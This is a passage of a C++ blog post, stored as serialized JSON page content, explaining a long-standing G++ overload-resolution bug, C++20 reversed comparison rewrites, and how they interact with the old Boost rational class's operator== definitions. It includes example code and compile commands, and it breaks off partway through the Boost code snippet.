trapdoor.",{"type":23,"tag":16288,"props":87755,"children":87756},{},[],{"type":23,"tag":31,"props":87758,"children":87760},{"id":87759},"part-i-a-12-year-old-g-bug-in-overload-resolution",[87761],{"type":28,"value":87762},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":7092,"props":87764,"children":87766},{"id":87765},"whats-overload-resolution",[87767],{"type":28,"value":87768},"What’s Overload Resolution?",{"type":23,"tag":24,"props":87770,"children":87771},{},[87772,87774,87780,87782,87788,87790,87795,87797,87802,87804,87810,87812,87817,87818,87824],{"type":28,"value":87773},"In C++, when you write an expression like ",{"type":23,"tag":64,"props":87775,"children":87777},{"className":87776},[],[87778],{"type":28,"value":87779},"a == b",{"type":28,"value":87781},", the compiler chooses among available ",{"type":23,"tag":64,"props":87783,"children":87785},{"className":87784},[],[87786],{"type":28,"value":87787},"operator==",{"type":28,"value":87789}," implementations by comparing their ",{"type":23,"tag":2875,"props":87791,"children":87792},{},[87793],{"type":28,"value":87794},"match quality",{"type":28,"value":87796},". A ",{"type":23,"tag":2875,"props":87798,"children":87799},{},[87800],{"type":28,"value":87801},"member function",{"type":28,"value":87803}," like ",{"type":23,"tag":64,"props":87805,"children":87807},{"className":87806},[],[87808],{"type":28,"value":87809},"a.operator==(b)",{"type":28,"value":87811}," usually has higher priority than a ",{"type":23,"tag":2875,"props":87813,"children":87814},{},[87815],{"type":28,"value":87816},"non-member function",{"type":28,"value":87803},{"type":23,"tag":64,"props":87819,"children":87821},{"className":87820},[],[87822],{"type":28,"value":87823},"operator==(a, b)",{"type":28,"value":87825}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":87827,"children":87828},{},[87829],{"type":28,"value":87830},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":7092,"props":87832,"children":87834},{"id":87833},"the-bug",[87835],{"type":28,"value":87836},"The Bug",{"type":23,"tag":24,"props":87838,"children":87839},{},[87840,87842,87849],{"type":28,"value":87841},"In 2012, a bug was filed: ",{"type":23,"tag":190,"props":87843,"children":87846},{"href":87844,"rel":87845},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[194],[87847],{"type":28,"value":87848},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":87850},". The issue? In expressions where:",{"type":23,"tag":14178,"props":87852,"children":87853},{},[87854,87874],{"type":23,"tag":77,"props":87855,"children":87856},{},[87857,87859,87865,87867,87872],{"type":28,"value":87858},"A class ",{"type":23,"tag":64,"props":87860,"children":87862},{"className":87861},[],[87863],{"type":28,"value":87864},"rational\u003CT>",{"type":28,"value":87866}," has a templated ",{"type":23,"tag":64,"props":87868,"children":87870},{"className":87869},[],[87871],{"type":28,"value":87787},{"type":28,"value":87873}," member function",{"type":23,"tag":77,"props":87875,"children":87876},{},[87877,87879,87885],{"type":28,"value":87878},"There's also a more generic free ",{"type":23,"tag":64,"props":87880,"children":87882},{"className":87881},[],[87883],{"type":28,"value":87884},"operator==(rational\u003CT>, U)",{"type":28,"value":35732},{"type":23,"tag":24,"props":87887,"children":87888},{},[87889],{"type":23,"tag":2875,"props":87890,"children":87891},{},[87892],{"type":28,"value":87893},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":87895,"children":87896},{},[87897],{"type":23,"tag":2875,"props":87898,"children":87899},{},[87900],{"type":28,"value":87901},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":87903,"children":87904},{},[87905,87907,87912,87914,87921],{"type":28,"value":87906},"Why? Because G++ mishandles ",{"type":23,"tag":2875,"props":87908,"children":87909},{},[87910],{"type":28,"value":87911},"templated conversion + non-exact match",{"type":28,"value":87913},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":190,"props":87915,"children":87918},{"href":87916,"rel":87917},"https://cplusplus.github.io/CWG/issues/532.html",[194],[87919],{"type":28,"value":87920},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":199},{"type":23,"tag":7092,"props":87923,"children":87925},{"id":87924},"a-minimal-reproducer",[87926],{"type":28,"value":87927},"A Minimal Reproducer",{"type":23,"tag":24,"props":87929,"children":87930},{},[87931],{"type":28,"value":87932},"Let’s see this in action:",{"type":23,"tag":435,"props":87934,"children":87936},{"code":87935,"language":26625,"meta":7,"className":26623,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[87937],{"type":23,"tag":64,"props":87938,"children":87939},{"__ignoreMap":7},[87940,87953,87960,87985,88001,88009,88033,88078,88106,88121,88128,88135,88142,88178,88247,88272,88287,88294,88301,88317,88342,88366],{"type":23,"tag":481,"props":87941,"children":87942},{"class":483,"line":484},[87943,87948],{"type":23,"tag":481,"props":87944,"children":87945},{"style":535},[87946],{"type":28,"value":87947},"#include",{"type":23,"tag":481,"props":87949,"children":87950},{"style":1805},[87951],{"type":28,"value":87952}," \u003Ciostream>\n",{"type":23,"tag":481,"props":87954,"children":87955},{"class":483,"line":351},[87956],{"type":23,"tag":481,"props":87957,"children":87958},{"emptyLinePlaceholder":15},[87959],{"type":28,"value":1210},{"type":23,"tag":481,"props":87961,"children":87962},{"class":483,"line":531},[87963,87967,87971,87976,87981],{"type":23,"tag":481,"props":87964,"children":87965},{"style":497},[87966],{"type":28,"value":63745},{"type":23,"tag":481,"props":87968,"children":87969},{"style":525},[87970],{"type":28,"value":6199},{"type":23,"tag":481,"props":87972,"children":87973},{"style":497},[87974],{"type":28,"value":87975},"typename",{"type":23,"tag":481,"props":87977,"children":87978},{"style":943},[87979],{"type":28,"value":87980}," IntType",{"type":23,"tag":481,"props":87982,"children":87983},{"style":525},[87984],{"type":28,"value":3469},{"type":23,"tag":481,"props":87986,"children":87987},{"class":483,"line":567},[87988,87992,87997],{"type":23,"tag":481,"props":87989,"children":87990},{"style":497},[87991],{"type":28,"value":67940},{"type":23,"tag":481,"props":87993,"children":87994},{"style":943},[87995],{"type":28,"value":87996}," rational",{"type":23,"tag":481,"props":87998,"children":87999},{"style":525},[88000],{"type":28,"value":809},{"type":23,"tag":481,"props":88002,"children":88003},{"class":483,"line":678},[88004],{"type":23,"tag":481,"props":88005,"children":88006},{"style":497},[88007],{"type":28,"value":88008},"public:\n",{"type":23,"tag":481,"props":88010,"children":88011},{"class":483,"line":784},[88012,88017,88021,88025,88029],{"type":23,"tag":481,"props":88013,"children":88014},{"style":497},[88015],{"type":28,"value":88016}," template",{"type":23,"tag":481,"props":88018,"children":88019},{"style":525},[88020],{"type":28,"value":6199},{"type":23,"tag":481,"props":88022,"children":88023},{"style":497},[88024],{"type":28,"value":67940},{"type":23,"tag":481,"props":88026,"children":88027},{"style":943},[88028],{"type":28,"value":3395},{"type":23,"tag":481,"props":88030,"children":88031},{"style":525},[88032],{"type":28,"value":3469},{"type":23,"tag":481,"props":88034,"children":88035},{"class":483,"line":812},[88036,88040,88045,88050,88054,88058,88062,88066,88070,88074],{"type":23,"tag":481,"props":88037,"children":88038},{"style":497},[88039],{"type":28,"value":43997},{"type":23,"tag":481,"props":88041,"children":88042},{"style":497},[88043],{"type":28,"value":88044}," operator",{"type":23,"tag":481,"props":88046,"children":88047},{"style":525},[88048],{"type":28,"value":88049},"==(",{"type":23,"tag":481,"props":88051,"children":88052},{"style":497},[88053],{"type":28,"value":7139},{"type":23,"tag":481,"props":88055,"children":88056},{"style":943},[88057],{"type":28,"value":3395},{"type":23,"tag":481,"props":88059,"children":88060},{"style":497},[88061],{"type":28,"value":623},{"type":23,"tag":481,"props":88063,"children":88064},{"style":508},[88065],{"type":28,"value":922},{"type":23,"tag":481,"props":88067,"children":88068},{"style":525},[88069],{"type":28,"value":598},{"type":23,"tag":481,"props":88071,"children":88072},{"style":497},[88073],{"type":28,"value":7139},{"type":23,"tag":481,"props":88075,"children":88076},{"style":525},[88077],{"type":28,"value":809},{"type":23,"tag":481,"props":88079,"children":88080},{"class":483,"line":825},[88081,88086,88091,88096,88101],{"type":23,"tag":481,"props":88082,"children":88083},{"style":525},[88084],{"type":28,"value":88085}," std::cout ",{"type":23,"tag":481,"props":88087,"children":88088},{"style":514},[88089],{"type":28,"value":88090},"\u003C\u003C",{"type":23,"tag":481,"props":88092,"children":88093},{"style":1805},[88094],{"type":28,"value":88095}," \"clang++ resolved member\"",{"type":23,"tag":481,"props":88097,"children":88098},{"style":514},[88099],{"type":28,"value":88100}," \u003C\u003C",{"type":23,"tag":481,"props":88102,"children":88103},{"style":525},[88104],{"type":28,"value":88105}," std::endl;\n",{"type":23,"tag":481,"props":88107,"children":88108},{"class":483,"line":843},[88109,88113,88117],{"type":23,"tag":481,"props":88110,"children":88111},{"style":535},[88112],{"type":28,"value":13234},{"type":23,"tag":481,"props":88114,"children":88115},{"style":497},[88116],{"type":28,"value":9956},{"type":23,"tag":481,"props":88118,"children":88119},{"style":525},[88120],{"type":28,"value":528},{"type":23,"tag":481,"props":88122,"children":88123},{"class":483,"line":864},[88124],{"type":23,"tag":481,"props":88125,"children":88126},{"style":525},[88127],{"type":28,"value":879},{"type":23,"tag":481,"props":88129,"children":88130},{"class":483,"line":873},[88131],{"type":23,"tag":481,"props":88132,"children":88133},{"style":525},[88134],{"type":28,"value":14068},{"type":23,"tag":481,"props":88136,"children":88137},{"class":483,"line":1125},[88138],{"type":23,"tag":481,"props":88139,"children":88140},{"emptyLinePlaceholder":15},[88141],{"type":28,"value":1210},{"type":23,"tag":481,"props":88143,"children":88144},{"class":483,"line":1142},[88145,88149,88153,88157,88162,88166,88170,88174],{"type":23,"tag":481,"props":88146,"children":88147},{"style":497},[88148],{"type":28,"value":63745},{"type":23,"tag":481,"props":88150,"children":88151},{"style":525},[88152],{"type":28,"value":6199},{"type":23,"tag":481,"props":88154,"children":88155},{"style":497},[88156],{"type":28,"value":67940},{"type":23,"tag":481,"props":88158,"children":88159},{"style":943},[88160],{"type":28,"value":88161}," Arg",{"type":23,"tag":481,"props":88163,"children":88164},{"style":525},[88165],{"type":28,"value":588},{"type":23,"tag":481,"props":88167,"children":88168},{"style":497},[88169],{"type":28,"value":67940},{"type":23,"tag":481,"props":88171,"children":88172},{"style":943},[88173],{"type":28,"value":87980},{"type":23,"tag":481,"props":88175,"children":88176},{"style":525},[88177],{"type":28,"value":3469},{"type":23,"tag":481,"props":88179,"children":88180},{"class":483,"line":1159},[88181,88185,88189,88193,88197,88201,88205,88210,88214,88218,88222,88226,88230,88234,88238,88243],{"type":23,"tag":481,"props":88182,"children":88183},{"style":497},[88184],{"type":28,"value":27199},{"type":23,"tag":481,"props":88186,"children":88187},{"style":497},[88188],{"type":28,"value":88044},{"type":23,"tag":481,"props":88190,"children":88191},{"style":525},[88192],{"type":28,"value":88049},{"type":23,"tag":481,"props":88194,"children":88195},{"style":497},[88196],{"type":28,"value":7139},{"type":23,"tag":481,"props":88198,"children":88199},{"style":943},[88200],{"type":28,"value":87996},{"type":23,"tag":481,"props":88202,"children":88203},{"style":525},[88204],{"type":28,"value":3282},{"type":23,"tag":481,"props":88206,"children":88207},{"style":943},[88208],{"type":28,"value":88209},"IntType",{"type":23,"tag":481,"props":88211,"children":88212},{"style":525},[88213],{"type":28,"value":7947},{"type":23,"tag":481,"props":88215,"children":88216},{"style":497},[88217],{"type":28,"value":623},{"type":23,"tag":481,"props":88219,"children":88220},{"style":508},[88221],{"type":28,"value":87368},{"type":23,"tag":481,"props":88223,"children":88224},{"style":525},[88225],{"type":28,"value":588},{"type":23,"tag":481,"props":88227,"children":88228},{"style":497},[88229],{"type":28,"value":7139},{"type":23,"tag":481,"props":88231,"children":88232},{"style":943},[88233],{"type":28,"value":88161},{"type":23,"tag":481,"props":88235,"children":88236},{"style":497},[88237],{"type":28,"value":623},{"type":23,"tag":481,"props":88239,"children":88240},{"style":508},[88241],{"type":28,"value":88242}," b",{"type":23,"tag":481,"props":88244,"children":88245},{"style":525},[88246],{"type":28,"value":12292},{"type":23,"tag":481,"props":88248,"children":88249},{"class":483,"line":1172},[88250,88255,88259,88264,88268],{"type":23,"tag":481,"props":88251,"children":88252},{"style":525},[88253],{"type":28,"value":88254}," std::cout ",{"type":23,"tag":481,"props":88256,"children":88257},{"style":514},[88258],{"type":28,"value":88090},{"type":23,"tag":481,"props":88260,"children":88261},{"style":1805},[88262],{"type":28,"value":88263}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":481,"props":88265,"children":88266},{"style":514},[88267],{"type":28,"value":88100},{"type":23,"tag":481,"props":88269,"children":88270},{"style":525},[88271],{"type":28,"value":88105},{"type":23,"tag":481,"props":88273,"children":88274},{"class":483,"line":1181},[88275,88279,88283],{"type":23,"tag":481,"props":88276,"children":88277},{"style":535},[88278],{"type":28,"value":14481},{"type":23,"tag":481,"props":88280,"children":88281},{"style":497},[88282],{"type":28,"value":6539},{"type":23,"tag":481,"props":88284,"children":88285},{"style":525},[88286],{"type":28,"value":528},{"type":23,"tag":481,"props":88288,"children":88289},{"class":483,"line":1204},[88290],{"type":23,"tag":481,"props":88291,"children":88292},{"style":525},[88293],{"type":28,"value":1443},{"type":23,"tag":481,"props":88295,"children":88296},{"class":483,"line":1213},[88297],{"type":23,"tag":481,"props":88298,"children":88299},{"emptyLinePlaceholder":15},[88300],{"type":28,"value":1210},{"type":23,"tag":481,"props":88302,"children":88303},{"class":483,"line":1222},[88304,88308,88313],{"type":23,"tag":481,"props":88305,"children":88306},{"style":497},[88307],{"type":28,"value":16543},{"type":23,"tag":481,"props":88309,"children":88310},{"style":610},[88311],{"type":28,"value":88312}," main",{"type":23,"tag":481,"props":88314,"children":88315},{"style":525},[88316],{"type":28,"value":13226},{"type":23,"tag":481,"props":88318,"children":88319},{"class":483,"line":1291},[88320,88325,88329,88333,88337],{"type":23,"tag":481,"props":88321,"children":88322},{"style":525},[88323],{"type":28,"value":88324}," rational",{"type":23,"tag":481,"props":88326,"children":88327},{"style":514},[88328],{"type":28,"value":3282},{"type":23,"tag":481,"props":88330,"children":88331},{"style":497},[88332],{"type":28,"value":16543},{"type":23,"tag":481,"props":88334,"children":88335},{"style":514},[88336],{"type":28,"value":7947},{"type":23,"tag":481,"props":88338,"children":88339},{"style":525},[88340],{"type":28,"value":88341}," r;\n",{"type":23,"tag":481,"props":88343,"children":88344},{"class":483,"line":1299},[88345,88349,88354,88358,88362],{"type":23,"tag":481,"props":88346,"children":88347},{"style":535},[88348],{"type":28,"value":14481},{"type":23,"tag":481,"props":88350,"children":88351},{"style":525},[88352],{"type":28,"value":88353}," r ",{"type":23,"tag":481,"props":88355,"children":88356},{"style":514},[88357],{"type":28,"value":6055},{"type":23,"tag":481,"props":88359,"children":88360},{"style":551},[88361],{"type":28,"value":554},{"type":23,"tag":481,"props":88363,"children":88364},{"style":525},[88365],{"type":28,"value":528},{"type":23,"tag":481,"props":88367,"children":88368},{"class":483,"line":1329},[88369],{"type":23,"tag":481,"props":88370,"children":88371},{"style":525},[88372],{"type":28,"value":1443},{"type":23,"tag":14178,"props":88374,"children":88375},{},[88376],{"type":23,"tag":77,"props":88377,"children":88378},{},[88379],{"type":28,"value":88380},"Compile with g++\u003C14:",{"type":23,"tag":435,"props":88382,"children":88384},{"code":88383,"language":1790,"meta":7,"className":1791,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[88385],{"type":23,"tag":64,"props":88386,"children":88387},{"__ignoreMap":7},[88388],{"type":23,"tag":481,"props":88389,"children":88390},{"class":483,"line":484},[88391,88396,88401,88406,88411,88415,88420],{"type":23,"tag":481,"props":88392,"children":88393},{"style":610},[88394],{"type":28,"value":88395},"g++",{"type":23,"tag":481,"props":88397,"children":88398},{"style":1805},[88399],{"type":28,"value":88400}," -std=c++17",{"type":23,"tag":481,"props":88402,"children":88403},{"style":1805},[88404],{"type":28,"value":88405}," main.cpp",{"type":23,"tag":481,"props":88407,"children":88408},{"style":1805},[88409],{"type":28,"value":88410}," -o",{"type":23,"tag":481,"props":88412,"children":88413},{"style":1805},[88414],{"type":28,"value":28192},{"type":23,"tag":481,"props":88416,"children":88417},{"style":525},[88418],{"type":28,"value":88419}," && ",{"type":23,"tag":481,"props":88421,"children":88422},{"style":610},[88423],{"type":28,"value":88424},"./test\n",{"type":23,"tag":24,"props":88426,"children":88427},{},[88428],{"type":28,"value":88429},"Output (on g++ 11.4):",{"type":23,"tag":435,"props":88431,"children":88433},{"code":88432},"g++ \u003C14 resolved non-member\n",[88434],{"type":23,"tag":64,"props":88435,"children":88436},{"__ignoreMap":7},[88437],{"type":28,"value":88432},{"type":23,"tag":14178,"props":88439,"children":88440},{},[88441],{"type":23,"tag":77,"props":88442,"children":88443},{},[88444],{"type":28,"value":88445},"Compile with clang++:",{"type":23,"tag":435,"props":88447,"children":88449},{"code":88448,"language":1790,"meta":7,"className":1791,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[88450],{"type":23,"tag":64,"props":88451,"children":88452},{"__ignoreMap":7},[88453],{"type":23,"tag":481,"props":88454,"children":88455},{"class":483,"line":484},[88456,88461,88465,88469,88473,88477,88481],{"type":23,"tag":481,"props":88457,"children":88458},{"style":610},[88459],{"type":28,"value":88460},"clang++",{"type":23,"tag":481,"props":88462,"children":88463},{"style":1805},[88464],{"type":28,"value":88400},{"type":23,"tag":481,"props":88466,"children":88467},{"style":1805},[88468],{"type":28,"value":88405},{"type":23,"tag":481,"props":88470,"children":88471},{"style":1805},[88472],{"type":28,"value":88410},{"type":23,"tag":481,"props":88474,"children":88475},{"style":1805},[88476],{"type":28,"value":28192},{"type":23,"tag":481,"props":88478,"children":88479},{"style":525},[88480],{"type":28,"value":88419},{"type":23,"tag":481,"props":88482,"children":88483},{"style":610},[88484],{"type":28,"value":88424},{"type":23,"tag":24,"props":88486,"children":88487},{},[88488],{"type":28,"value":88489},"Output:",{"type":23,"tag":435,"props":88491,"children":88493},{"code":88492},"clang++ resolved member\n",[88494],{"type":23,"tag":64,"props":88495,"children":88496},{"__ignoreMap":7},[88497],{"type":28,"value":88492},{"type":23,"tag":24,"props":88499,"children":88500},{},[88501],{"type":28,"value":88502},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":16288,"props":88504,"children":88505},{},[],{"type":23,"tag":31,"props":88507,"children":88509},{"id":88508},"part-ii-c20s-symmetric-comparison-feature",[88510],{"type":28,"value":88511},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":7092,"props":88513,"children":88515},{"id":88514},"what-changed-in-c20",[88516],{"type":28,"value":88517},"What Changed in C++20?",{"type":23,"tag":24,"props":88519,"children":88520},{},[88521,88523,88536,88537,88542],{"type":28,"value":88522},"C++20 introduced the ",{"type":23,"tag":190,"props":88524,"children":88527},{"href":88525,"rel":88526},"https://en.cppreference.com/w/cpp/language/operator_comparison",[194],[88528,88530],{"type":28,"value":88529},"spaceship operator ",{"type":23,"tag":64,"props":88531,"children":88533},{"className":88532},[],[88534],{"type":28,"value":88535},"\u003C=>",{"type":28,"value":8478},{"type":23,"tag":2875,"props":88538,"children":88539},{},[88540],{"type":28,"value":88541},"defaulted comparison rewrites",{"type":28,"value":199},{"type":23,"tag":24,"props":88544,"children":88545},{},[88546,88548,88553],{"type":28,"value":88547},"When you define a two-argument ",{"type":23,"tag":64,"props":88549,"children":88551},{"className":88550},[],[88552],{"type":28,"value":87787},{"type":28,"value":88554},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":14178,"props":88556,"children":88557},{},[88558,88569],{"type":23,"tag":77,"props":88559,"children":88560},{},[88561,88563],{"type":28,"value":88562},"If you define: ",{"type":23,"tag":64,"props":88564,"children":88566},{"className":88565},[],[88567],{"type":28,"value":88568},"bool operator==(T1, T2);",{"type":23,"tag":77,"props":88570,"children":88571},{},[88572,88574,88580],{"type":28,"value":88573},"Then ",{"type":23,"tag":64,"props":88575,"children":88577},{"className":88576},[],[88578],{"type":28,"value":88579},"T2 == T1",{"type":28,"value":88581}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":88583,"children":88584},{},[88585,88587,88592,88593,88598,88600,88606,88608,88613],{"type":28,"value":88586},"This rewrite is ",{"type":23,"tag":2875,"props":88588,"children":88589},{},[88590],{"type":28,"value":88591},"recursive",{"type":28,"value":12820},{"type":23,"tag":64,"props":88594,"children":88596},{"className":88595},[],[88597],{"type":28,"value":87779},{"type":28,"value":88599}," becomes ",{"type":23,"tag":64,"props":88601,"children":88603},{"className":88602},[],[88604],{"type":28,"value":88605},"b == a",{"type":28,"value":88607},", which becomes ",{"type":23,"tag":64,"props":88609,"children":88611},{"className":88610},[],[88612],{"type":28,"value":87779},{"type":28,"value":88614}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":88616,"children":88617},{},[88618],{"type":28,"value":88619},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":16288,"props":88621,"children":88622},{},[],{"type":23,"tag":31,"props":88624,"children":88626},{"id":88625},"part-iii-the-boost-trapdoor",[88627],{"type":28,"value":88628},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":88630,"children":88631},{},[88632,88634,88640,88642,88647],{"type":28,"value":88633},"The old Boost ",{"type":23,"tag":64,"props":88635,"children":88637},{"className":88636},[],[88638],{"type":28,"value":88639},"rational",{"type":28,"value":88641}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":64,"props":88643,"children":88645},{"className":88644},[],[88646],{"type":28,"value":87787},{"type":28,"value":287},{"type":23,"tag":435,"props":88649,"children":88651},{"code":88650,"language":26625,"meta":7,"className":26623,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[88652],{"type":23,"tag":64,"props":88653,"children":88654},{"__ignoreMap":7},[88655,88690,88713,88725,88732,88739,88746,88753,88760,88783,88871,88878,88929,88936,88943,88950,88957,88992,89000,89028,89067,89132,89139,89159],{"type":23,"tag":481,"props":88656,"children":88657},{"class":483,"line":484},[88658,88662,88666,88670,88674,88678,88682,88686],{"type":23,"tag":481,"props":88659,"children":88660},{"style":497},[88661],{"type":28,"value":63745},{"type":23,"tag":481,"props":88663,"children":88664},{"style":525},[88665],{"type":28,"value":6199},{"type":23,"tag":481,"props":88667,"children":88668},{"style":497},[88669],{"type":28,"value":67940},{"type":23,"tag":481,"props":88671,"children":88672},{"style":943},[88673],{"type":28,"value":88161},{"type":23,"tag":481,"props":88675,"children":88676},{"style":525},[88677],{"type":28,"value":588},{"type":23,"tag":481,"props":88679,"children":88680},{"style":497},[88681],{"type":28,"value":67940},{"type":23,"tag":481,"props":88683,"children":88684},{"style":943},[88685],{"type":28,"value":87980},{"type":23,"tag":481,"props":88687,"children":88688},{"style":525},[88689],{"type":28,"value":3469},{"type":23,"tag":481,"props":88691,"children":88692},{"class":483,"line":351},[88693,88697,88701,88705,88709],{"type":23,"tag":481,"props":88694,"children":88695},{"style":497},[88696],{"type":28,"value":63745},{"type":23,"tag":481,"props":88698,"children":88699},{"style":525},[88700],{"type":28,"value":6199},{"type":23,"tag":481,"props":88702,"children":88703},{"style":497},[88704],{"type":28,"value":87975},{"type":23,"tag":481,"props":88706,"children":88707},{"style":943},[88708],{"type":28,"value":87980},{"type":23,"tag":481,"props":88710,"children":88711},{"style":525},[88712],{"type":28,"value":3469},{"type":23,"tag":481,"props":88714,"children":88715},{"class":483,"line":531},[88716,88720],{"type":23,"tag":481,"props":88717,"children":88718},{"style":497},[88719],{"type":28,"value":67940},{"type":23,"tag":481,"props":88721,"children":88722},{"style":943},[88723],{"type":28,"value":88724}," rational\n",{"type":23,"tag":481,"props":88726,"children":88727},{"class":483,"line":567},[88728],{"type":23,"tag":481,"props":88729,"children":88730},{"style":525},[88731],{"type":28,"value":8366},{"type":23,"tag":481,"props":88733,"children":88734},{"class":483,"line":678},[88735],{"type":23,"tag":481,"props":88736,"children":88737},{"style":525},[88738],{"type":28,"value":17837},{"type":23,"tag":481,"props":88740,"children":88741},{"class":483,"line":784},[88742],{"type":23,"tag":481,"props":88743,"children":88744},{"style":497},[88745],{"type":28,"value":88008},{"type":23,"tag":481,"props":88747,"children":88748},{"class":483,"line":812},[88749],{"type":23,"tag":481,"props":88750,"children":88751},{"style":525},[88752],{"type":28,"value":17837},{"type":23,"tag":481,"props":88754,"children":88755},{"class":483,"line":825},[88756],{"type":23,"tag":481,"props":88757,"children":88758},{"style":525},[88759],{"type":28,"value":59314},{"type":23,"tag":481,"props":88761,"children":88762},{"class":483,"line":843},[88763,88767,88771,88775,88779],{"type":23,"tag":481,"props":88764,"children":88765},{"style":497},[88766],{"type":28,"value":88016},{"type":23,"tag":481,"props":88768,"children":88769},{"style":525},[88770],{"type":28,"value":6199},{"type":23,"tag":481,"props":88772,"children":88773},{"style":497},[88774],{"type":28,"value":67940},{"type":23,"tag":481,"props":88776,"children":88777},{"style":943},[88778],{"type":28,"value":3395},{"type":23,"tag":481,"props":88780,"children":88781},{"style":525},[88782],{"type":28,"value":3469},{"type":23,"tag":481,"props":88784,"children":88785},{"class":483,"line":864},[88786,88791,88795,88800,88804,88808,88812,88817,88821,88825,88829,88833,88837,88841,88846,88850,88854,88858,88862,88866],{"type":23,"tag":481,"props":88787,"children":88788},{"style":525},[88789],{"type":28,"value":88790}," BOOST_CONSTEXPR ",{"type":23,"tag":481,"props":88792,"children":88793},{"style":497},[88794],{"type":28,"value":87975},{"type":23,"tag":481,"props":88796,"children":88797},{"style":525},[88798],{"type":28,"value":88799}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":481,"props":88801,"children":88802},{"style":943},[88803],{"type":28,"value":3464},{"type":23,"tag":481,"props":88805,"children":88806},{"style":525},[88807],{"type":28,"value":588},{"type":23,"tag":481,"props":88809,"children":88810},{"style":943},[88811],{"type":28,"value":88209},{"type":23,"tag":481,"props":88813,"children":88814},{"style":525},[88815],{"type":28,"value":88816},">::",{"type":23,"tag":481,"props":88818,"children":88819},{"style":943},[88820],{"type":28,"value":36670},{"type":23,"tag":481,"props":88822,"children":88823},{"style":525},[88824],{"type":28,"value":588},{"type":23,"tag":481,"props":88826,"children":88827},{"style":497},[88828],{"type":28,"value":27199},{"type":23,"tag":481,"props":88830,"children":88831},{"style":525},[88832],{"type":28,"value":88816},{"type":23,"tag":481,"props":88834,"children":88835},{"style":943},[88836],{"type":28,"value":30272},{"type":23,"tag":481,"props":88838,"children":88839},{"style":497},[88840],{"type":28,"value":88044},{"type":23,"tag":481,"props":88842,"children":88843},{"style":525},[88844],{"type":28,"value":88845},"== (",{"type":23,"tag":481,"props":88847,"children":88848},{"style":497},[88849],{"type":28,"value":7139},{"type":23,"tag":481,"props":88851,"children":88852},{"style":943},[88853],{"type":28,"value":3395},{"type":23,"tag":481,"props":88855,"children":88856},{"style":497},[88857],{"type":28,"value":623},{"type":23,"tag":481,"props":88859,"children":88860},{"style":508},[88861],{"type":28,"value":922},{"type":23,"tag":481,"props":88863,"children":88864},{"style":525},[88865],{"type":28,"value":598},{"type":23,"tag":481,"props":88867,"children":88868},{"style":497},[88869],{"type":28,"value":88870},"const\n",{"type":23,"tag":481,"props":88872,"children":88873},{"class":483,"line":873},[88874],{"type":23,"tag":481,"props":88875,"children":88876},{"style":525},[88877],{"type":28,"value":26700},{"type":23,"tag":481,"props":88879,"children":88880},{"class":483,"line":1125},[88881,88886,88891,88895,88899,88903,88907,88911,88915,88920,88924],{"type":23,"tag":481,"props":88882,"children":88883},{"style":535},[88884],{"type":28,"value":88885}," return",{"type":23,"tag":481,"props":88887,"children":88888},{"style":525},[88889],{"type":28,"value":88890}," ((den ",{"type":23,"tag":481,"props":88892,"children":88893},{"style":514},[88894],{"type":28,"value":6055},{"type":23,"tag":481,"props":88896,"children":88897},{"style":610},[88898],{"type":28,"value":87980},{"type":23,"tag":481,"props":88900,"children":88901},{"style":525},[88902],{"type":28,"value":618},{"type":23,"tag":481,"props":88904,"children":88905},{"style":551},[88906],{"type":28,"value":1558},{"type":23,"tag":481,"props":88908,"children":88909},{"style":525},[88910],{"type":28,"value":6317},{"type":23,"tag":481,"props":88912,"children":88913},{"style":514},[88914],{"type":28,"value":70727},{"type":23,"tag":481,"props":88916,"children":88917},{"style":525},[88918],{"type":28,"value":88919}," (num ",{"type":23,"tag":481,"props":88921,"children":88922},{"style":514},[88923],{"type":28,"value":6055},{"type":23,"tag":481,"props":88925,"children":88926},{"style":525},[88927],{"type":28,"value":88928}," 